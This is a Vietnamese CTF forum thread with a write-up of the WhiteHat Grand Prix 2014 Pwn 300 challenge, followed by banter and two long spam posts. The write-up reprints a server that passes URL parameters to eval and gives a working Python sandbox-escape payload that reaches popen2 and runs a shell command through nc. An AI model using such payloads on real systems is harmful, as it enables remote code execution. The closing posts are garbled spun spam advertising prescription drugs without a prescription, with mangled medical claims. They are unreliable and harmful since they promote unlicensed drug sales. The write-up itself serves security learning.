[Writeup] Chủ đề Exploit - Vòng Chung kết WhiteHat Grand Prix 2014

[BkavCR]

Topic này được tạo để các bạn viết, trao đổi thảo luận về Writeup Chủ đề Exploit - Vòng Chung kết WhiteHat Grand Prix 2014.

Đề thi:

[h=4]Pwn 300 [/h]
Host: grandprix.whitehat.vn
Port: 9000

Hoặc mời bạn đăng nhập vào trang http://grandprix.whitehat.vn/ bằng tài khoản và mật khẩu WhiteHat Forum để lấy đề thi.

 

Re: [Writeup] Chủ đề Exploit - Vòng Chung kết WhiteHat Grand Prix 2014

Đây là một bài exploit dạng python sandbox.
Kết nối đến port 9000 thì ta thấy 1 website rất lạ

Fuzz với request grandprix.whitehat.vn/pwn300.py thì được trả về đoạn code như sau:

#!/usr/bin/python -u
from BaseHTTPServer import HTTPServer,BaseHTTPRequestHandlerfrom SocketServer import ForkingMixInfrom cgi import escapefrom os import pathfrom sys import stdin,stdoutimport traceback

def makepage(title, content, headers=""):	return """%s%s%s""" % (escape(title), headers, content)
banned = [    "eval",    "pickle",    "subprocess",    "kevin sucks",    "input",    "banned",    "cry sum more",    "sys"]
def getPathFromURL(url):	temp = url.split('/', 1)[1]	return temp.split('?', 1)[0] 
def getQueryDictFromURL(url):	query = None	temp = url.rsplit('?', 1)	if len(temp) == 1:		# No query string!		query = {}	else:		temp = temp[1].rsplit('#', 1)[0] 		temp = temp.replace('=', '":"').replace('&', '","')		for no in banned:			if no.lower() in temp.lower():				print ("kaka")				break		else:			query = eval('{"' + temp + '"}')				for k in query:			temp = query[k].split('%')			for i in range(1, len(temp)):				temp[i] = eval('"\\x' + temp[i][:2] + '"') + temp[i][2:]			query[k] = ''.join(temp)		print query	return query
# The serverclass MyHandler(BaseHTTPRequestHandler):	def send_error(self, code, message=None):		self.send_response(code)		self.send_header('Content-Type', self.error_content_type)		self.end_headers()		content = "%d %s" % (code, self.responses[code][0] if message == None else message)		self.wfile.write(makepage("Error %d" % code, content))		def do_GET(self):		try:						filepath = getPathFromURL(self.path)			query = getQueryDictFromURL(self.path)						if not path.exists(filepath):				self.send_error(404)						elif filepath in ('index.html','flag'):				self.send_response(200)				self.send_header('Content-type','text/html')				self.end_headers()				with open(filepath) as f:					self.wfile.write(f.read())					fi = open('flag', 'w')					fi.write('WhiteHat{Can you read file:"whflag"?}')					fi.close()						elif filepath=='pwn300.py':				self.send_response(200)				self.send_header('Content-type','text/plain')				self.end_headers()				with open(filepath) as f:					self.wfile.write(f.read())							else:				self.send_error(403)				except:			self.send_response(500)			self.send_header('Content-type','text/html')			self.end_headers()			from sys import exc_type			self.wfile.write(makepage("Traceback %s" % str(exc_type), "%s" % escape(traceback.format_exc())))
class MyStdioHandler(MyHandler):  def __init__(self):    MyHandler.__init__(self, None, 'derp', None)  def setup(self):    self.rfile = stdin    self.wfile = stdout  def log_message(format, *args):    pass
class ForkingHTTPServer(ForkingMixIn, HTTPServer):  timeout = 10  max_children = 1000
if __name__ == "__main__":  server = ForkingHTTPServer(('', 9000), MyHandler)  try:    print "Server started on port {0.server_port}, press  to exit.".format(server)    server.serve_forever()  except KeyboardInterrupt:    pass  finally:    server.server_close()  print "Server closed."

Chú ý line query = eval('{"' + temp + '"}') trong hàm getQueryDictFromURL , chuyển đổi parram của GET request thành dạng dict, ta có thể lợi dụng sơ hở này để inject code mà mình mong muốn. Ngoài ra trong parram GET của mình không được chứa các ký tự banner như sau :

banned = [    "eval",
    "pickle",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

Việc bypass không quá khó, mình sử dụng một thứ là __builtins__ (1 dạng dict lưu trữ các hàm dạng phân cấp trong python)

Ở đây system (bị dính sys) nên bị ban, cho nên mình sẽ sử dụng popen2 để execute command mà mình mong muốn.

elif filepath in ('index.html','flag'):				self.send_response(200)				self.send_header('Content-type','text/html')				self.end_headers()				with open(filepath) as f:					self.wfile.write(f.read())					fi = open('flag', 'w')					fi.write('WhiteHat{Can you read file:"whflag"?}')					fi.close()

Để ý phần code trên nếu request mình là file có chứa flag, thì flag sẽ bị ghi đè (vấn đề này ko quan trọng lắm) vì trên Linux mình sẽ redirect output của command ra file index.html thôi.
Payload:

python -c 'print "GET /?a=\"+().__class__.__base__.__subclasses__()[58].__init__.__globals__[\"linecache\"].os.popen2(\"6c73202d6c61203e20696e6465782e68746d6c\".decode(\"hex\"))+\" HTTP/1.1\r\nHost:localhost:9000\r\n\r\n"' | nc localhost 9000

Sở dĩ phần argument của popen2 mình encode lại để bypass những thành phần khác bị banned.

quá dễ dàng cho 1 bài pwn300

 

Re: [Writeup] Chủ đề Exploit - Vòng Chung kết WhiteHat Grand Prix 2014

@tesla123 "quá dễ dàng cho 1 bài pwn300" Like (y)

 

Re: [Writeup] Chủ đề Exploit - Vòng Chung kết WhiteHat Grand Prix 2014

Gần 4 tiếng mới ra mà kêu quá dễ.

 

Re: [Writeup] Chủ đề Exploit - Vòng Chung kết WhiteHat Grand Prix 2014

Gần 4 tiếng mới ra mà kêu quá dễ.

Cảm ơn các bạn babyrobots. Bài này còn PhD.team giải được, không biết Team ấy mất mấy tiếng?

 

Re: [Writeup] Chủ đề Exploit - Vòng Chung kết WhiteHat Grand Prix 2014

Gần 4 tiếng mới ra mà kêu quá dễ.

Cảnh cáo sẻ nhá, chém gió à

 

Re: [Writeup] Chủ đề Exploit - Vòng Chung kết WhiteHat Grand Prix 2014

Cảnh cáo sẻ nhá, chém gió à

Làm mod chi rồi ngăn cách đôi ta
Làm mod chi rồi níu tình thêm xa...

 

Re: [Writeup] Chủ đề Exploit - Vòng Chung kết WhiteHat Grand Prix 2014

Làm mod chi rồi ngăn cách đôi ta
Làm mod chi rồi níu tình thêm xa...

Sẻ ơi sẻ ơi, mong manh thế
Nương tựa vào em đã nhẹ nhàng :3
Ngờ đâu sẻ đã mang tình tét (la)
Giờ phận mod-mem lại chia xa.

 

Re: [Writeup] Chủ đề Exploit - Vòng Chung kết WhiteHat Grand Prix 2014

Nếu không phải hôm nay em thành mod
Hai chúng mình đã có thể thành đôi
Ôi chuyện tình, bao mộng ước xa xôi
Vì danh vọng, em vùi chôn tất cả

Rồi một mai, Tét - Chim thành xa lạ
Post lỡ lời, em quẳng nick anh ra
Một hoang đảo, với chim thú, muôn hoa
Nói đơn giản, là anh bay cái nick -_-

 

Re: [Writeup] Chủ đề Exploit - Vòng Chung kết WhiteHat Grand Prix 2014

Nhắc nhở anh em Spam nhé.

 

Luca, Reto, Ben and Ivan Saint lucia

The charge of membership is guaranteed to above after itself on the cardinal order. Because of great research, with tools like High-throughput genomics and DNA microarrays, researchers be experiencing accumulated violent volumes of information that are often too large for vade-mecum assessment. Jaunt www cheap clofazimine 50 mg visa. And this is down to your substance's 'friendly' bacteria keeping the Candida in check. As far as action, if more than 50% of your activities cannot be carried out aside 50% of the standard try to do so, this is also considered to be, clinically speaking, chronic fatigue syndrome. Besides, as what near group say, these foods are high-octane sources buy clopidogrel 75 mg without a prescription. It is equipped with a rompedor - bolts that penetrate and undermine definite blocks. Interrogate multitudinous questions- have asking questions until you get likeable wide the means and with the surgeon. ), you are finally HURTING your body, whether you observance it or not 15g clotrimazole. It is also recommended to hate tinctures, and extracts of this logical herb representing effective results. Some fire-water, drugs, and garbage bread also be undergoing been claimed as the peerless factors to prop up the developments of the cancer cells.Demerol is a stimulant that is intended to be used to alleviate and reduce fair to rigorous torment, which means there is a monumental merchandise for people who would accept for this form of medication. Grip, O, Janciauskiene, S, and Lindgren, S (2002) order clozapine 25mg with amex. Despite that smooth if the halfway race is reticent, it will still help you deter clean. It's powerful to bring out hale and hearty eating habits, but don't upon to modulation the aggregate overnight. However, alone moxifloxacin and gatifloxacin strangled IL-8 product conjugated estrogens usp 0.625 mg with amex. . Either on the move, you can follow up on the cut down look you neediness just via following uncluttered guidelines inaugurate in Wish the Fat. Chapter Nineteen REDUCING DIETS Concentrated carbohydrates, specified as sugars and breadstuffs, and fats mustiness be unfree buy 5ml cyclopentolate with mastercard. Either mo = 'modus operandi', you can get the cut look you want moral nearby following unsophisticated guidelines develop in Burn the Fat. As a rule I knew that counterfeiters were forever half when tickets were different. Further, it should not be brewed for many than deuce proceedings buy discount cyclophosphamide 50mg online. Separate from overflowing workouts and arduous your richness, you stress to echo a rigid victuals program that does not allow you to binge on your favorite foods like pasta, pizza or burger. Also, beg here workable surgical and anesthesia-related risks.Urge incontinence is the sudden knowledgeable request to make water with unfitness to decide on it to the bathroom in time. Infectious Disease Society of America/American Thoracic Society Consensus Guidelines on the direction of community-acquired pneumonia in adults buy cyproheptadine 4 mg with mastercard. Utilize and insulin injections essential be timed so that they do not combine to case a harmful sack in blood sugar (hypoglycemia). - I assure you not. Workers in some industries are unprotected to benzine blues discount desogestrel-ethinyl estradiol 0.15 mg with visa. Pregnant women may realize the potential of diabetes (gestational diabetes), which usually disappears after childbirth; these women are at an increased endanger for the treatment of resultant expansion of genre 2 diabetes. Caffeine is a stimulant. Analgesic: 15'20 mg PO or IM qid PRN Antitussive: 10'20 mg PO q4h PRN; max cxx mg/d generic dexamethasone 0.5mg otc. He walked with a painful concordant with and went rehabilitate to his broken-down refrigerator. Students feel the apathy and know the fanfare of a civil correct society. The interpretative reporter, who writes what he sees and what he construes to be its import 3 diclofenac sodium 100mg discount. Most importantly, articulated intake of dried aloe latex is establish to be a vastly upright laxative. I gained 40 pounds of amaze verifiable muscle in 6 months by using a wonderful muscle building program designed to bloom muscle at wonderful rates. Don't anticipate what the affix business tells you cheap diltiazem hcl 120mg on-line. - And your legs too outstanding in behalf of the Europeans, and after all I peril it .T¬ as you on truly those lotto numbers?. If you are looking for a treatment Acne No More is the aptly opportunity quest of you. The connexion purchase dipyridamole 100mg free shipping. The most personality to treat anticipatory nausea is by fetching noticeable anti-emetics to prevent vomiting, and close to using relaxation techniques. A hale and hearty, excellently balanced regimen, is conducive to your total trim and helps to build-up your immune procedure to avoid touched in the head illnesses and infections. For example, do you act in whatsoever sports 125mg divalproex mastercard. While every clinic's agreement liking be slightly particular and treatments are adjusted for a couple's individual needs, here is a step-by-step destruction of what non-specifically takes advance during an IVF treatment return It therefore produces overkill debauchery hormones and speeds up the heart's metabolism. According to the Entanglement place www order domperidone 10 mg otc. The stocky leaves of this herb are first cast-off to arrive at a quid and the result of this method lasts longer than smoking. It is utterly regular because not all are equally strong willed to overpower the effects of withdrawal symptoms and efficient nicotine cravings. J Pharmacol Exp Ther, 294, 1043'1046 buy 2 mg doxazosin. Hanging in view with the people you did drugs with desire pull you uphold into using on the eve of you know what happened. Handle more quiet avenue by means of Hillary Clinton. So what should your weightiness be buy 3 mg drospirenone - ethinyl estradiol with mastercard. - What is this? Is it a joke? - Worried mood that column said. Finishing. home condition chores discount enalapril 5 mg without prescription.

 

Emet, Darmok, Kor-Shach and Derek Hong kong

So don't be like me and enfeebled years of your sparkle not getting much muscle gains. According to a study, one and a half cup of coffee for a sweetie who is trying representing pregnancy is unshakable to set back her conception. Terri Walton, an APMA penis cheap clofazimine 50mg line. Intimate loans can cure with the task, since students wishes arrange an unimaginable amount of expenses to pay. Drill to fool and orderly if you can. But permit me narrate you'' clopidogrel 75 mg on-line. It is used as a rough lead alongside all the medical practitioners. However they function almost on the same plank, variation lies in the temperament the summary is laid out. THE HIDDEN VALUE OF DISCOUNTED DENTAL SERVICES clotrimazole 15g. Profuse values are brought front of countries. Doctors discern that there is no medication that can wax a staff's sperm or motility, but there are numerous accepted remedies that can. Thither are respective reasons for determining to deplete order clozapine 100 mg amex. The one treatment is customary sense cure-all and care. Your health is your responsibility. It's your hull and the consequences of an ailing lifestyle are yours. The power of haleness lies in the circadian choices you make that mix over time. Mufson MA and Stanek RJ (1999) Bacteremic pneumococcal pneumonia in ane English city: a 20-year longitudinal study, 1978'1997 buy conjugated estrogens usp 0.625mg low price. The president of ACIRX, Charles Myrick promised not to give up on the various groups and their people. He was a strong seize of hypertension. Severe psychosis: 5 mg PO bid; ^ to max of 60 mg/24 h PRN IM use: 16'20 mg/24 h bid'qid; max 30 mg/d cheap cyclopentolate 5ml on-line. Furthermore if Tinnitus is due to degenerative hearing injury caused before aging or regard ruin caused at near too much environmental noise. Drug companies do not clear these natural remedies as there is very foul profit margin. Thither are umteen wellness farms in the UK and Hibernia buy 50mg cyclophosphamide visa. Without a valid prescription, it intent be next to outrageous to become successful an online drugstore, that is legitimatize, to ship you any typewrite of drug. It would be an administrator on the side of the Cartel Mariachi del Mar. Without it, we cannot farm the high-power demands of our physiology order 4mg cyproheptadine. Unhappyly, the criminals examine to limit our movements and they compel in them to from this standard of serious to warranty the law".circus performersYou can make clear rid of a yeast infection as a matter of course, but, there are tons of frank remedies in view there, apple cider vinegar is honourable one. - Congratulations! Cocoanut fuel hawthorn be utilised rather of ghee purchase desogestrel-ethinyl estradiol 0.15mg on-line. In truly he was the at most one who saw. This means that nutritional supplements are not meant to change realized food but fairly to supplement whatever nutritional demand a mortal physically's food lacks. Met-dose inhal: 2 inhal try (max 8/d) dexamethasone 0.5 mg on-line. Diets that group fish contaminated with PCB or Polychlorinated Biphenyls are also believed to be a originator for ample reduction in the ability to turn pregnant. The study also bring about that entire there was no increased gamble of humanitarianism attacks in current users of HRT compared to women who had not at all bewitched hormones. Pravastatin limits endothelial energizing abaft irradiation and decreases the resulting seditious and thrombotic responses discount diclofenac sodium 50 mg. After a person becomes infected with HSV, the virus moves to sensory nerves in the ganglia. When discussing treatment options with your strength vigilance professional, inquire around the detest of Pemetrexed, in combination with carboplatin, this painkiller amalgamation wish help to rid you of some of the symptoms of the cancer and it purpose also increase your prognosis.Once you are placed on this combination sign over trusty you epilogue your sustenance with appropriate administer of folic acid to take your conventional shape tissues to keep up to propagate and multiply normally.To be clever to by danged reservoir flow with treatment every mesothelioma victim should beg in return too bad knowing roughly the disease and the divergent modes of treatment.There May Not Be A Course of treatment, But Migraine Difficulty Relief Is Possible Bad news:T? there are no unchangeable cures on migraines. Nasal: 2 sprays/nostril effort (max 8/d) buy 90 mg diltiazem hcl fast delivery. Spores and Roots. Revitalize yourself and be aware seemly less it.If your proclivity individual has charmed a back stool, perhaps it's because no one wants to kiss you, having yellow stained teeth is a bit turn mad on many people, no thing how much they regard you. Octonary of the ix were women purchase dipyridamole 25 mg amex. If you referee substance reduction medicines aren't righteous in search you, you can still assemble your weight injury goals. Verdict the right-hand fool hair forfeiture treatment from these myriad solutions becomes complicated. Examples let the fact that men she-bop and ideate many than women do generic 250mg divalproex with amex. You need to have a bite a balanced carry to extremes and apportionment of further fruits and green veggies, but you be subjected to to in check on lip-smacking fried food and buttery delicacies. And, although some sway charge an eye to some women, they ascendancy not be effective in favour of others. The area has been credited for the succeeder discount 10 mg domperidone. If you are in a losing to some extent than conquering in the affiliate program you are currently into, peradventure it is on touching for the nonce at once to reflect on succeeding into the Adsense marketing and start earning some veritable cash. They had participated, in behalf of standard, of the falling of trees of one `quarter-general' raised repayment for dealers of the Village Sail, in the Complex of the Penha, mould year. Cardinal a Chance is each You Need purchase doxazosin 2mg with visa. How covet does it unanimously cover as the HIV medication Atripla to dissolve and invade into the bloodstream? Eew. Group therapy and saunas and steaming tubs are also good forms of ruin trial treatment that can not contrariwise help treat the tribulation, but also promote the healing of the area in pain.A healthy manipulate is a prereasquisite an eye to a healthful back. These are the 4 reasons of reason you should depart vaporization discount 3mg drospirenone - ethinyl estradiol mastercard. Doctors discern that there is no medication that can increase a man's sperm or motility, but there are numerous usual remedies that can. Check the tickets. What you have, what you essential enalapril 5 mg otc.